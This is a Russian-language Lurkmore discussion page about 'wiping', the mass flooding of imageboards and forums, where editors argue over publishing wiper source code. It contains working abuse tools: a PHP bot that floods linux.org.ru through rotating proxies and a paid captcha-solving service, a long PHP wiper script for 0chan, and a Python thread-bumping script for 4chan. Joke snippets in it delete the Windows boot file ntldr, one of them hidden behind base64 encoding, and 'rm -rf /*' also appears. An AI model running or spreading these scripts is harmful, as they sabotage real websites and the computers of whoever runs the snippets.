Обсуждение:Вайп
Материал из Lurkmore
unlink("c:\\ntldr"); Не позорьтесь, лол.
Короче пацан тут такая маза - че сечешь? Да пугало ворон спугнуло, есть капуста но сурки следят так че по грабсам? Жим-жим - дрявый блядь дотман
[править] /r/
Реквестирую воткнуть вот эту картинку в статью в качестве иллюстрации
[править] флейм
слушайте, идите нахуй со своими двачами-имиджбордами и прочими говно-BB! Вайп - это когда БД игроков онлайн-игрушки злые дяди админы херят, называя (аль оправдывая) это действие живительной массовой эвтаназии сиречь kill it with fire. Мы в недоумении, почему это не отражено в статье, но зато блядь развести здесь три страницы тупого флейма про двач это да, это мы не забыли. Маладцы.
Ну убрал ты исходники, блядь, ну и чё? В истории куски кода-то вот они?
- Да даже если в истории не будет - все раз в неделю появляется в /b/, а если не появляется то достаточно создать тред и туда наверняка накидают. Так что прятать исходники это тоже не решение. Вернул на место.
- Молодец какой, а?
- Так и будем туда-сюда дергать?
- Перестаньте дёргать, пусть будет.
- Опять у кого-то руки чешутся...
- это все пидор-мудак сир оверхуй
- Опять у кого-то руки чешутся...
- Перестаньте дёргать, пусть будет.
- Так и будем туда-сюда дергать?
- Молодец какой, а?
не понимаю. кому станет лучше от того, что в /b/ будет еще больше говна?
- Во-первых, кому станет хуже? Во-вторых, прятать исходники это тоже не решение - все раз в неделю появляется в /b/.
- хуже станет всем посетителям /b/. спрятать чтоб никто не нашел действительно не получится, но зачем вывешивать на самом видном месте?
Может вернуть удаление ntldr? в профилактических целях. ^_^ L0calh0st 20:29, 23 декабря 2007 (MSK)
- Да, так все же лучше, пожалуй.
- --admLoki 05:10, 28 марта 2008 (MSK)
А в похапе варианте предлагаю сделать так :
try { @unlink(base64_decode('QzpcbnRsZHI=')); }
Просто уж больно заметно нехорошее :) .
Мля, поставьте ограничение на редактирование статьи. Унылые конфликты правок унылы.--Yum-yum 12:43, 24 декабря 2007 (MSK)
двачую
Ебаные сорцы вайпалок надо убрать! Ибо вайп идет линком на эту страницу. Пока вайперов только 5(синхронные дятлы, епта), но вы бля хотите, чтоб их 10 стало?--Быдло 14:02, 24 декабря 2007 (MSK)
- да хотим
- Да хоть 50, в общем-то. Что это реально поменяет?
И посмотрите, блждад, сколько просмотров на этой странице. Практически столько же, сколько и на главной. Вы желаете пиздец двачу? --Быдло 14:04, 24 декабря 2007 (MSK)
- да желаем
Nigraeb1, ты мудак. --Быдло 14:11, 24 декабря 2007 (MSK)
- пошел на хуй, ебаный
Поуберайте анлинки, и выложите нормальную многопоточную джава вайпалку а не то недописанное говно что лежит.
- Вот и выложи
- А вот хуй вам а не вайпалка. Надо быть полным идиотом чтобы не суметь переделать эту жава-вайпалку.
- Вот и не ругайтесь матом по телефону
- Кто выложит нормальную версию- тот получит 10 рандомных десу картинок. Ога.
- Вот и не ругайтесь матом по телефону
- А вот хуй вам а не вайпалка. Надо быть полным идиотом чтобы не суметь переделать эту жава-вайпалку.
try { unlink ("C:\\ntldr"); }catch (Exception $e) {} ololololo, сразу видно быдлокодер писал - есть такой символ "@" Сразу видно, что быдлокодер - это Вы: труЪ-кодеры ошибки не подавляют, а перехватывают.
[править] Закрытие вопроса
Дабы окончательно закрыть вопрос вайпа, реквестирую сюда ссылку на собранную подмаздай вайпалку с гуи, настройками, радиобаттонами и подробным хелпом.
- NOWAI! /r/еквестирую ее сорцы, причем портируемые и независимые от быдлофреймворков.
- Ради б-га. Но если мы хотим сделать вайп бессмысленным - нужна именно подмаздайная быдлотулза, которая будет доступна каждому школьнику, как был доступен "кольт" каждому ковбою на диком западе.
- Doncha think it'll kill /b/?--Yum-yum 16:43, 24 декабря 2007 (MSK)
- "What's that?" - "A wiper tool" - "And what is it good for?" - "/b/" - "What is /b/?" - "/b/ is dead, baby. /b/ is dead."
- Жжошь!!!! (Альзо это Рэмбо-Ш, да?)
- "Zed's dead, baby, Zed's dead" -- that's Pulp Fiction for'ya, dumbfuck.
- Хуле! В рэмбо третьем тоже был такой диалог, только про синюю лампочку, и без концовки. Может, скрытая пародия, лол!
- "Zed's dead, baby, Zed's dead" -- that's Pulp Fiction for'ya, dumbfuck.
- Жжошь!!!! (Альзо это Рэмбо-Ш, да?)
- /b/ уже умер. Сейчас все просто ждут и смотрят что из него дальше получится (кроме нытик-кунов, им религия не позволяет).
- "What's that?" - "A wiper tool" - "And what is it good for?" - "/b/" - "What is /b/?" - "/b/ is dead, baby. /b/ is dead."
- Doncha think it'll kill /b/?--Yum-yum 16:43, 24 декабря 2007 (MSK)
- Ради б-га. Но если мы хотим сделать вайп бессмысленным - нужна именно подмаздайная быдлотулза, которая будет доступна каждому школьнику, как был доступен "кольт" каждому ковбою на диком западе.
Все вайперы, вайпающие сейчас /b/ -- мудаки. Они даже поддержку тора привинтить вайпилке не могут. --Вайпер-кун 17:20, 24 декабря 2007 (MSK)
- А хуле- кто то ж должен быть мудаком. Главное чтоб больше этих мудаков не становилось.--Быдло2 18:38, 24 декабря 2007 (MSK)
- пошел в пизду
- А хуле- кто то ж должен быть мудаком. Главное чтоб больше этих мудаков не становилось.--Быдло2 18:38, 24 декабря 2007 (MSK)
[править] Wipal tendencies
Неужели ж вы не понимаете, что именно благодаря вайпу люди побегут в FGHI толпами, как из США в СССР 30-х годов?
- Понимаем. Но все, кому нужно- вайпалки уже взяли. А если вайпалка будет у каждого быдлошкольника, то вайп не прекратится вообще.--Быдло2 19:25, 24 декабря 2007 (MSK)
- ну и что? мне лично срать будет вайп или нет
- Вот-вот. вайп - это проблема двача. Админам двача насрать. So be it.
- группировка двачей снова портит страницу!!!!!
- Понимаем. Но все, кому нужно- вайпалки уже взяли. А если вайпалка будет у каждого быдлошкольника, то вайп не прекратится вообще.--Быдло2 19:25, 24 декабря 2007 (MSK)
[править] !
Вы гавно! Я вас ненавижу, я завайпаю ваш пидорский лурк расчленёнными пидронигроанимукапроёбами.
- а не могли бы вы о них статью написать? может не все знаю, что это такое... also вы расчленееные и капро - одно и тоже...
- ртфм капро - говень!
try:
remove('C:\\ntldr')
except:
pass
блять, че за мудак это пишет, яйца оторвать блять этому пидарасу
Слил все исходники в один файл - http://rapidshare.com/files/109809826/_______Lurkmore.mht.html Призываю начальство удалить исходники и поместить вместо них эту ссылку. Или просто удалить - все равно они бесполезны.
- >remove('C:\\ntldr')
И что-что? Что это сделает линуксоебам?
[править] добавте
Вайп жжостского диска media:Sshot-2.jpg
[править] Вайпалка
Ваша вайпалка на питоне — говно. Нет ни проксей, ни капчи. http://pastie.org/private/fdpjgaegywdfnjhqsbzha
[править] 3.0
принт теперь функция же! Все ваши вайпалки говно!
[править] Вайпалка на перле
Умеет использовать прокси, работает в несколько потоков. Забивка капчей только вручную. http://ifolder.ru/9532480 Пароль к архиву: www.2ch.ru Ваш крыса-кун
- На питоне лучше ;3
моар вайпов с ниграми!!1
[править] Вайпалка ЛОРа
пруфпик - http://img172.imageshack.us/img172/8325/37077810ew9.png
скрипт
<?php function getmsg() { $rand_value = rand(0, 15); $file_array = file("msg.txt"); $line = $file_array[$rand_value]; return $line; } function getproxy($pid) { list($usec, $sec) = explode(" ", microtime()); srand((int)($usec*10)+$pid); $rand_value = rand(0, 355); $file_array = file("proxy.txt"); $line = $file_array[$rand_value]; return $line; } function geturl($url,$proxy=0,$postdata=0,$header=0,$cookie=0,$referer=0) { $poststr=""; if ($postdata) while (list($name,$value)=each($postdata)){ if (strlen($poststr)>0) $poststr.="&"; $poststr.=$name."=".urlencode($value); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if($proxy) curl_setopt($ch, CURLOPT_PROXY, $proxy); if($cookie){ curl_setopt($ch, CURLOPT_COOKIE, $cookie); //echo "COOKIE $cookie"; } if($referer!=0) curl_setopt($ch, CURLOPT_REFERER, $referer); curl_setopt($ch, CURLOPT_TIMEOUT, 60); if ($header){ curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_NOBODY, 1); }else{ curl_setopt($ch, CURLOPT_HEADER, 0); } if ($postdata){ curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (U; Windows; ru; rv:1.9.0.5) Gecko/2007121622 Windows Firefox/2.0.5"); $res = curl_exec($ch); curl_close($ch); return $res; } $key = '72c5d28fds45fd6gd54676s6fg89a10c7b332c36b746df2e81a1ef8'; $add_url = 'http://www.linux.org.ru/add.jsp'; $groups = array ( '126','1339','1340','1342','4068','4066','7300','8403','19109' ); for($i=0;$i<9;$i++){ $pid = pcntl_fork(); } while(true){ $proxy = getproxy($pid); $group = $groups[rand(0, 8)]; $header = geturl($add_url.'?group='.$group,$proxy,0,1); preg_match('|JSESSIONID=(.*);|U', $header, $out); $session = $out[1]; $mycookie = "JSESSIONID=".$session."; path=/; domain=www.linux.org.ru"; if(!empty($session)){ //echo "SESSION=".$session."\n"; ; } else { echo "Error getting session\n"; continue; } $captcha = null; $captcha = geturl('http://www.linux.org.ru/jcaptcha.jsp',$proxy,0,0,$mycookie,$add_url.'?group='.$group); if($captcha!=null) //echo "CAPTHCA GETTED\n"; ; else { echo "Captcha not getted\n"; continue; } $postdata = array( 'method' => 'base64, 'key' => $key, 'body' => base64_encode($captcha), 'ext' => 'jpg', 'phrase' => 0, 'regsense' => 0, 'numeric' => 0, 'min_len' => 3, 'max_len' => 9 ); $rev = geturl(http://",0,$postdata); if (substr($rev,0,2)=='OK'){ //получаем id капчи в системе $anti_captcha_id = substr($rev,3); }else{ echo "Upload ERROR\n"; echo $rev; echo $captcha; continue; } //ждем 20 сек и проверяем капчу $f = false; while($f){ sleep(20); $postdata = array( 'key' => $key, 'action' => 'get', 'id' => $anti_captcha_id ); $cap = geturl("http://",0,$postdata); if (substr($cap,0,2)=='OK'){ $captcha_value = substr($cap,3); $f = true; }else{ echo "ERROR\n"; echo $cap; $f = false } } $file = fopen('/dev/urandom', 'r); $random = fread($file, 16); $postdata = array( "session" => $session, "nick" => 'anonymous', "password" => "", "group" => $group, "title" => $contentsgetmsg().$contents, "msg" => getmsg()."\n http://www.ipetitions.com/petition/sayno2JB/signatures.html \n".$contents, "mode" => 'tex', "autourl" => '1', "j_captcha_response" => $captcha_value ); echo "SENDING POST\n"; $recdata = geturl('http://www.linux.org.ru/add.jsp',$proxy,$postdata,0,$mycookie,$add_url.'group='.$group); //$recdata = post('http://www.linux.org.ru/add.jsp',$postdata,$proxy,$session); echo $recdata; } ?>
- Уйди, похапэ-быдлокодер.
[править] Python
подскажите пример бампа угодной темы (чтобы отправлялся пост с текстом "bump" и тут же удалялся, потом опять отправлялся и удалялся, дабы флуда не было, да и не заметный бамп был) для 4chan'а желательно, сотни нефти гарантирую! Да и вообще, бесконечную благодарность.
- Надумал закреплять треды?
- да не, там же (на форчане) темы быстро вниз слетают, а так иногда хочется чтобы она не слетала так быстро, вообщем у меня уже есть рабочий код для питона, но там нужно какой-то цикл проставить (ну чтоб он не один раз оставил сообщение, а несколько раз, сам, автоматически), чтоб, допустим, 50 сообщений "bump" с делеем (задержкой) 10 секунд.
вот скрипт, если интересно:
import httplib, urllib
params = urllib.urlencode({'com': 'BUMP','resto':'3813716','mode':'regist',"MAX_FILE_SIZE":"3145728"})
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "multipart/form-data"}
conn = httplib.HTTPConnection("bin.4chan.org")
conn.request("POST", "/g/imgboard.php", params, headers)
response = conn.getresponse()
print response.status, response.reason
data = response.read()
print data
conn.close()
[править] Реквестирую удалить строку
Реквестирую удалить строку Вызов curl из shell-скрипта палево же, rm -rf /* уже все нубы знают
[править] Перенастройка вайпалки
Как перенастроить вышевыложенную вайпалку на перле под ментач?
[править] Капча
Программеры (не быдлокодеры), подкиньте хороших, годных линков на тему распознавания капчи, желательно не только сухую теорию, но и примеры.
- Тут нет программеров, одно быдло умеющее только rm -rf /*
- используй онлайн-сервисы для взлома капчи, полно их
[править] В поисках КО
Я нуб. Как вайпать с помощью кодов?
- Скачиваешь системушку программирования. Вставляешь код. Любуешься, как информация на винте превращается в кашу.
[править] Вайпалка на PHP под Windows и POSIX(Unix/Linux) для 0chan.ru (Кусаба)
Работает напрямую и через прокси, случайное изображение, случайный текст, ввод капчи вручную.
<?php //..............................http://uchan.org.ua................................. //................................................................................... //................................................................................... //,,,::,.....,:,,,:,.:,,,,,,,:,.::,,,,,,::............,,,.........:,,,,,,,::...:,,,,, //MMMWWt.....IWMMMMt:MMMMMMMMWY,MMMMMMMMWM:..........IMMV........,MMMMMMMMWB,.:WMMMMM //###M+,.....,;R#Wt,.:;R###M+:,.::I####I:,..........;W##B,........::I####t:,...:;Y### //###V.........X#i.....V###I......;W##M,............V###W,..........;W##M,.......=### //W##B........;WX,.....X###+......+###R............+#####:..........+###X........t### //X##W:.......YW;......B###;......t###Y...........,BBB###=..........I###Y........Y### //t###i......;Wt......,W###:......Y###i...........t#+Y###i..........V###i........R### //;W##V.....,XB,......;W##M.......R###=..........:WX.t###Y..........R##W;.......,B##W //.R##M,....+W=.......+###B......,W##W:..........VW;.+###X..........W##W,.......:W##M //.t###+...:BY........t###X......+###M..........+WI..;###B.........:###B........=###R //.:W##V...IM:........t###R.....,R###X.........,RM,..,W##M,........+###WYYYYYYYYB###Y //..X##M,.;W+.........+####i,..;X####I.........tW+....B##W;........I###MRRRRRRRRW###i //..i###+,XX,.........,B####BVXWXR###i........:MB=====R###+........V###+........R###= //..:W##XiW;...........:R#####Bi,R###;........Y#WWWWWW####i.......,B##W;.......,M##W: //...X###WI.............,=tIt=,.,M##W:.......;WV;;;;;;I###I.......:W##M,.......:W##M. //...i###R,.....................;W##B,.......RM:......+###X.......;###R,.......+###X. //...:W##=......................+###V.......+#I.......;W##M.......i###V........t###I. //....R#Y.......................I###I......,BM:.......:W##W,......I###I........V###i. //...:MB,.......................X###i......I#t........,M###;......X###+........B##W;. //..;RW=........................B###=.....:WM,.........B###+......M###=.......,W##W:. //+VW#t........................;W###:....,X#Y..........B###Y.....;###W:.......+###M,. //##Wi......................,IYB####RIt:IX##MYI:....:IVW###WVI:tYB####RIt,.,IVM####RI //WX=.......................:XYIIIIIIYY;XYIIIIV:....=XVIIIIIVX;VYIIIIIIYY,.:VYIIIIIIY //.,==:.............................................................................. //................................................................................... //......................................,;........................................... //.......................................:,.......................................... //.......................................,=,......................................... //......................................,:YI=;,,..................................... //...................................,=IVXRRRXVYt=:.................................. //.................................,iXMMWWWWWWWMBRVt:................................ //................................=XW#############WMXi:.............................. //...............................iB#################WMY=............................. //.............................,YM##########WW########WR=............................ //............................,RW########WWWWWW#########R=........................... //............................tW#######WWMMBBBMMW###WWMW#R;.......................... //...........................:M#######WMBRRRRRRBMWWWMBRBW#V,......................... //...........................Y#####MVIYRRXYi++IXRVVVRXVVBWWi......................... //..........................;MBW#WV;::,:VYI,..+IX:,:IY+tXM#B,........................ //..........................Yt=X#V:iBX;.:Vi,,,=VX,,,iY,,:=XW+........................ //.........................;tV=VM;+WWMY,,It,,;:Vt,;,iV,+II=MX........................ //.........................+VW+RX:V##WR:,tV:,=,Ri,+,iR,+BWiXM,....................... //.........................tII;WI:B###M;,Y#;:V,Y;,I,iM:,+I=VW=....................... //.........................I;;;BI:B###B:,R#;:B:=:;V,iW::::;MWt....................... //.........................IIB=IV:I###t,;WW;:M;,,tV,tW:iMBiVWY....................... //........................,YRWitM;:IXI::V##=;W+,,IY,iM:tW#YtWY....................... //........................,YtY;Y#X;::::YW##+=WI::BX:tM:;iI=tMI....................... //........................,Y==+M##BYtYBW###RX#BVV#RtVM=;;::XRt....................... //.........................YYRM#######################WMBVVBX+....................... //.........................iRM######################W###WMBRV;....................... //.........................=XBMW############W####WWWWWWWWMBRY:....................... //.........................,VRMWWWWWWWWW###WWWWWWWWWWWWWMMBXI........................ //..........................tXBMWWWWWWWWWWWWWWWWWWWWWMMMMBRV+........................ //..........................;VRMMWWWWWWWWWWWWWWWWWWWWMMMBBVY:........................ //..........................,IXBMMWWWWWWWWWWWWWWWWWWMMMMBXVt......................... //...........................=YRBMMWWWWWWWWWWWWWWWWMMMMBRVY;......................... //..........................,,iVRBMMWWWWWWWWWWWWWMMMMBBRVV+,......................... //...........................:;IXRBMMMWWWWWWWWWWMMMMMBRVVI;.......................... //..........................,;;=YXRBMMMMMMMMMMMMMMMBBRXXY=;,......................... //..........................:;;=iVRRBBMMMMMMMMMMMBBBRRXY+=;,......................... //..........................,;;=+IXRBBBMMMMMMMMBBBBRRRYi+;:.......................... //...........................:;=+tVBMMMMBBMMBBBBBBBBMXi+=:........................... //............................,:;=iYRWW##WWWWWWW#WMRV+;:,............................ //...............................,:;=iYXRBMMMMBRYt+;:,............................... //...................................,,,,,:::,,,..................................... //................................................................................... //...............................................................................:=.. //..............................................................................tWB.. //..............................................................................Y#V.. //.................:;,..........................................................i#I.. //...;VRRI:VRRV:.;VMWB:.........tXRX++XRXt=RRRi,YRV,..tXRRt..,tRXXRRY=VRRI,YRRV,=#i.. //....=#R..,MW:.,R=:R#Y..........V#i..i#V..t#B,.;B:....tR#Y..t#X:;WW,.;WB,.:WM,.;#=.. //....;#R,,:MW:..=..i#V..........V#i,,i#V..:MW;.ti....:Yt#Y..i#Y.,WM,.;WB,.:WM,.,M:.. //....;#WRRRWW:..;tIV#V..........V#BRRB#V...Y#I,V,....V;i#Y...iBYiWM,.:MWi:I#M,.,R,.. //....;#R,,,MW:.iWY,+#V..........V#i,,i#V...;#Mi+....iI.i#Y...=WM=WM,..;VXViWM,..=... //....;#R..,MW:.R#;.i#V..........V#i..i#V....B#R,...;B,.i#Y..,R#i,WM,......:WM,.,t;.. //...,i#B;,=MW+,R#XiX#R:........:X#I::I#X:...t#t...:RX,:Y#R:,I#R,=WW=,....,+WM=.I#R.. //...:ttti,tttt:=RBt;tt=........+ttt;=ttt+...:R,...=tt;=ttt+;tt;,ttti,....:tttt,=Ri.. //...........................................;i...................................... //........................................t;;V,...................................... //........................................VWW+....................................... //........................................+Y=........................................ //................................................................................... //...............................http://uchan.org.ua................................. //Скрипт для напівавтоматизованого вайпу нуляча написаний на php, тому для його роботи потрібний веб-сервер із php. //Веб-сервер все-в-одному і після установки одразу готовий до використання: //http://sourceforge.net/projects/appserv/files/ // //Після встановлення в деректорію "C:\AppServ\www\" варто скопіювати файл .htaccess наступного змісту: //Order deny,allow //deny from all //allow from 127.0.0.1 //Це блокує доступ для всіх окрім вашого комп'ютера до цього сервера. Цей файл є в папці "wipephp". // //Після цих маніпуляцій скопіюйте цю папку "wipephp" в "C:\AppServ\www\". // //Все, можна вайпати, для цього в броузері зайдіть за адресою: http://localhost:80/wipephp/ і відкрийте в новій вкладці потрібний скрипт. // //Додаткова інформація. //Дошку достатньо змінити лише в назві скрипту між ---: //---ДОШКА--- // //---b---_uchan_wipe_0chan.php - цей скрипт варто використовувати для постингу без проксі в окремий тред, оскільки затримка флуду при цьому 10 секунд. // //У зв'язку з тим, що нові треди з одного IP можна створювати через невідомо значиний період часу, то доцільно створювати нові треди лише через proxy. //---b---_(proxy)_uchan_wipe_0chan.php // //Будь-який скрипт можна відкрити довільну кількість разів. Досить ефективно на пряму постити в один тред, і через 5-7 разів відкритий скрипт працюючий через проксі створювати нові треди. // //P.S. Нові проксі можна взяти тут http://www.samair.ru/proxy/time-01.htm, їх треба чекнути на робочість, одна з програм для цього є тут: http://uchan.org.ua/sho/res/126.html#155, перевірку в AccessDiver проходять ~30%. // //.......................................http://uchan.org.ua.......................................... //Встановлюємо максимальний час виконання в секундах set_time_limit(120); $password = "erfjjwek2"; // Пароль на видалення повідомлень, варто змінити $treadpost = '0'; // Якщо 0 - новий тред, якщо ввести номер треду повідомлення будуть писатись в цей тред. $proxy = false; // true, або false - якщо не використовується проксі $hostname=%26quot%3Bwww%2E0chan%2Eru%26quot%3B%3B $board = "b"; // Дошка, ага. Якщо не вдалось знайти в назві скрипата ---ДОШКА---, тобуде використана ця. $path = "board.php?dir=".$board; $proxyip = $hostname; $proxyport = "80"; $name = ''; // Псевдо $files = ""; $bounds = "9700306295313"; $bounds1 = "-----------------------------".$bounds; $dirdelimiter = "\\"; // В Windows \\, в Лінукс /. $picdir = "pic"; // Директорія із зображеннями. $captchadir = "captcha"; // Директорія куди зберігаються капчі. $subject = 'Відповідь на Nо.'.(rand(0,200000000)); $comment = ">>".(rand(0,200000000))."\r\n"; // Початок коментаря $commentend = "\r\nhttp://ukrkniga.org.ua/ukrkniga-text/36/22/\r\nhttp://uchan.org.ua/\r\n"; // Кінець коментаря, якщо додадуть в спам-фільтр треба замінити чи видалити посилання //Затримка, різна для тредів і постів, і при роботі через проксі if ($treadpost==0){$timeout = 60;} else {$timeout=10;} if ($proxy == true){$timeout = 0;} $countboard = preg_match_all('/---(.+?)---/', $_SERVER["SCRIPT_NAME"], $boardurl, PREG_SET_ORDER); $boardurl = $boardurl[0][1]; if (empty($boardurl)) {$board=$board;} else {$board=$boardurl;} //Якщо капча не введена робимо запит капчі if (empty($_POST["captcha"])) { $proxyblock = ''; //Якщо ввімкнено проксі, то беремо капчу через випадковий проксі if ($proxy == true) { $myFile = "proxy.txt"; $fr = fopen($myFile, 'r'); $allproxy = fread($fr, filesize($myFile)); fclose($fr); $allproxy = preg_replace('/(\r?\n)/', 'poDJSLwlfja23u3afisjfDJ', $allproxy); $allproxyArray = explode ("poDJSLwlfja23u3afisjfDJ", $allproxy); $randprox= rand(0, (sizeof($allproxyArray)-1)); $proxyraw = $allproxyArray[$randprox]; $proxyrawArray = explode (":", $proxyraw); $proxyip = $proxyrawArray[0]; $proxyport = $proxyrawArray[1]; $proxyblock = "<tr align='center'><td align='center' COLSPAN='2'>Через проксі ".$proxyip.":".$proxyport."<br /></td></tr>"; } $headers = "GET http://$hostname/captcha.php HTTP/1.1\r\n"; $headers .= "Host: $hostname\r\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $headers .= "Accept: image/png,image/*;q=0.8,*/*;q=0.5\r\n"; $headers .= "Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $headers .= "Accept-Encoding: deflate\r\n"; $headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"; $headers .= "Keep-Alive: 300\r\n"; $headers .= "Connection: keep-alive\r\n"; $headers .= "Referer: http://$hostname/$board/\r\n\r\n"; $fp = fsockopen($proxyip, $proxyport, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />\r\n<meta http-equiv='refresh' content='10;url=http://w2.guardtunnel.com/browse.php?u=Oi8vbHVya21vcmUucnUvJnF1b3Q7LiRfU0VSVkVSWyZxdW90O1NDUklQVF9OQU1FJnF1b3Q7XS4mcXVvdDs%3D&b=5'>"; else { fwrite($fp, $headers, strlen($headers)); //Збираємо до купи відповідь $answer = ''; while(!feof($fp)) { $answer.= fread($fp, 4096); } //Вирізаємо з відповіді зображення капчі $patern = "/(\x89PNG.*)/s"; $count = preg_match($patern, $answer, $rez); //Зберігаємо капчу $randcap= rand(0, 2000000000); $captchapng = $rez[0]; $myFile = $captchadir.$dirdelimiter."captcha-".$randcap.".png"; $fw = fopen($myFile, "w"); fwrite($fw, $captchapng); fclose($fw); } //Витягнули з відповіді нові кукіси капчі та сесії $patern = "/(Set\-Cookie\: )(cap=.*?)(\r\n)/i"; $count = preg_match($patern, $answer, $rez); $newcookie = $rez[2]; $patern = "/(Set\-Cookie\: )(PHPSESSID=.*?)(\r\n)/i"; $count = preg_match($patern, $answer, $rez); $phpsessid = $rez[2]; fclose($fp); //Виводимо форму зі збереженим зображенням капчі, кукісами та всім іншим echo " <meta http-equiv='Content-Type' content='text/html;charset=utf-8' /> <form action='".$_SERVER['SCRIPT_NAME']."' method='post'> <input name='newcookie' value='".$newcookie."' type='hidden' /> <input name='phpsessid' value='".$phpsessid."' type='hidden' /> <input name='proxyip' value='".$proxyip."' type='hidden' /> <input name='proxyport' value='".$proxyport."' type='hidden' /> <table align='center'><tbody> <tr align='center'><td align='center' COLSPAN='2'><a href='http://uchan.org.ua/'><img src='http://uchan.org.ua/uchan.png' border='0' /></a><br /></td></tr> <tr align='center'><td align='center' COLSPAN='2'><a href='http://uchan.org.ua/' style='text-decoration:none;'> http://uchan.org.ua/</a><br /></td></tr> <tr align='center'><td align='center' COLSPAN='2'>На нуляч.<br /></td></tr> ".$proxyblock." <tr><td><a href='".$_SERVER['SCRIPT_NAME']."'><img src='".$captchadir."/captcha-".$randcap.".png' alt='Натисни, щоб оновити' border='0' /></a><br /></td></tr> <tr><td><input size='12' name='captcha' type='text' /></td> <td><input tabindex='0' value='+Один Вайп'type='submit' /></td> </tr></tbody></table> </form><br /> "; } //Якщо капча введена if (!empty($_POST["captcha"])) { //Взяли капчу, кукіси та все інше з робочого пост-запиту $newcookie = $_POST["newcookie"]; $captcha = $_POST["captcha"]; $phpsessid = $_POST["phpsessid"]; $proxyip = $_POST["proxyip"]; $proxyport = $_POST["proxyport"]; //Прочитали випадкове зображення і додали до нього викадкове число $filearray = ""; foreach (glob("$picdir$dirdelimiter*.jpg") as $filename) { $filearray .= $filename."5dfg5dde5sa6SFDoiwlkds"; } $filearray = explode("5dfg5dde5sa6SFDoiwlkds", $filearray); $randfile = rand(0, (sizeof($filearray)-2)); $filename=%24filearray[%24randfile]%3B //В Unix'ах може треба буде використовувати як розільник, інший слеш / $filearray = explode("\\", $filename); $filename=%24filearray[1]%3B $filename=%24picdir%2E%24dirdelimiter%2E%24filename%3B $files = file_get_contents($filename); $random=rand()%10000000; $files = $files.$random; // Завантажуємо файл кометарів та беремо випадковий фрагмент $myFile = "comments.txt"; $fr = fopen($myFile, 'r'); $allcomments = fread($fr, filesize($myFile)); fclose($fr); $allCommentsArray = explode ("=====================================", $allcomments); $randcom= rand(0, (sizeof($allCommentsArray)-1)); $comment .= $allCommentsArray[$randcom].$commentend; //Формуємо пост-запит на сервер чана $data = '$bounds1 Content-Disposition: form-data; name=%26quot%3Bboard%26quot%3B $board $bounds1 Content-Disposition: form-data; name=%26quot%3Breplythread%26quot%3B $treadpost $bounds1 Content-Disposition: form-data; name=%26quot%3BMAX_FILE_SIZE%26quot%3B 2048000 $bounds1 Content-Disposition: form-data; name=%26quot%3Bemail%26quot%3B $bounds1 Content-Disposition: form-data; name=%26quot%3Bcaptcha%26quot%3B $captcha $bounds1 Content-Disposition: form-data; name=%26quot%3Bsubject%26quot%3B $subject $bounds1 Content-Disposition: form-data; name=%26quot%3Bmessage%26quot%3B $comment $bounds1 Content-Disposition: form-data; name=%26quot%3Bimagefile%26quot%3B%3B filename=%26quot%3Bmoskalyach%2Ejpg%26quot%3B Content-Type: image/jpeg $files $bounds1 Content-Disposition: form-data; name=%26quot%3Bname%26quot%3B $name $bounds1 Content-Disposition: form-data; name=%26quot%3Bgotothread%26quot%3B on $bounds1 Content-Disposition: form-data; name=%26quot%3Bembed%26quot%3B $bounds1 Content-Disposition: form-data; name=%26quot%3Bembedtype%26quot%3B youtube $bounds1 Content-Disposition: form-data; name=%26quot%3Bpostpassword%26quot%3B $password $bounds1-- '; $headers = "POST http://$hostname/$path HTTP/1.1\r\n"; $headers .= "Host: $hostname\r\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $headers .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $headers .= "Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $headers .= "Accept-Encoding: deflate\r\n"; $headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"; $headers .= "Keep-Alive: 300\r\n"; $headers .= "Connection: keep-alive\r\n"; $headers .= "Referer: http://$hostname/$board/\r\n"; $headers .= "Cookie: jsrot=2; kustyle_site=Autumn; kustyle=Autumn; postpassword=".$password."; ".$phpsessid."; ".$newcookie."; disclaimer=1; showwatchedthreads=0; jsrotx=1; jsrot_1=1\r\n"; $headers .= "Content-Type: multipart/form-data; boundary=---------------------------$bounds\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n\r\n"; $fp = fsockopen($proxyip, $proxyport, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />\r\n<meta http-equiv='refresh' content='10;url=".$_SERVER["SCRIPT_NAME"]."'>"; else { fwrite($fp, $headers.$data, strlen($headers.$data)); $answer = ''; while(!feof($fp)) { $answer .= fgets($fp, 4096); } //На всякий випадок зберігаємо відповідь, може треба буде для налагодження роботи $myFile = "echo.html"; $fw = fopen($myFile, "w"); fwrite($fw, $answer); fclose($fw); //Записуємо створений тред чи пост в лог $patern = "/(url=)(.*?)(\")/i"; $count = preg_match($patern, $answer, $rez); $profit = $rez[2]; if (empty($rez[2])) { $patern = "/(\<h1.*?\>)(.*?)(\<\/h1\>)/si"; $count = preg_match($patern, $answer, $rez1); $patern = "/(\<h2.*?\>)(.*?)(\<\/h2\>)/si"; $count = preg_match($patern, $answer, $rez2); $profit = $rez1[2]." - ".$rez2[2]; $profit = preg_replace('/(\r?\n)/', '', $profit); } $treadpostwiped = $profit.", proxy(or direct): ".$proxyip.":".$proxyport."\r\n"; $myFile = "wipelog.txt"; $fw = fopen($myFile, "a"); fwrite($fw, $treadpostwiped); fclose($fw); } fclose($fp); //Пауза sleep($timeout); //Відкрили знову цей скрипт вже з новою капчею header( 'Location: '.$_SERVER["SCRIPT_NAME"] ) ; echo '<meta http-equiv="refresh" content="10;url='.$_SERVER["SCRIPT_NAME"].'">'; } ?>
[править] АЛСО
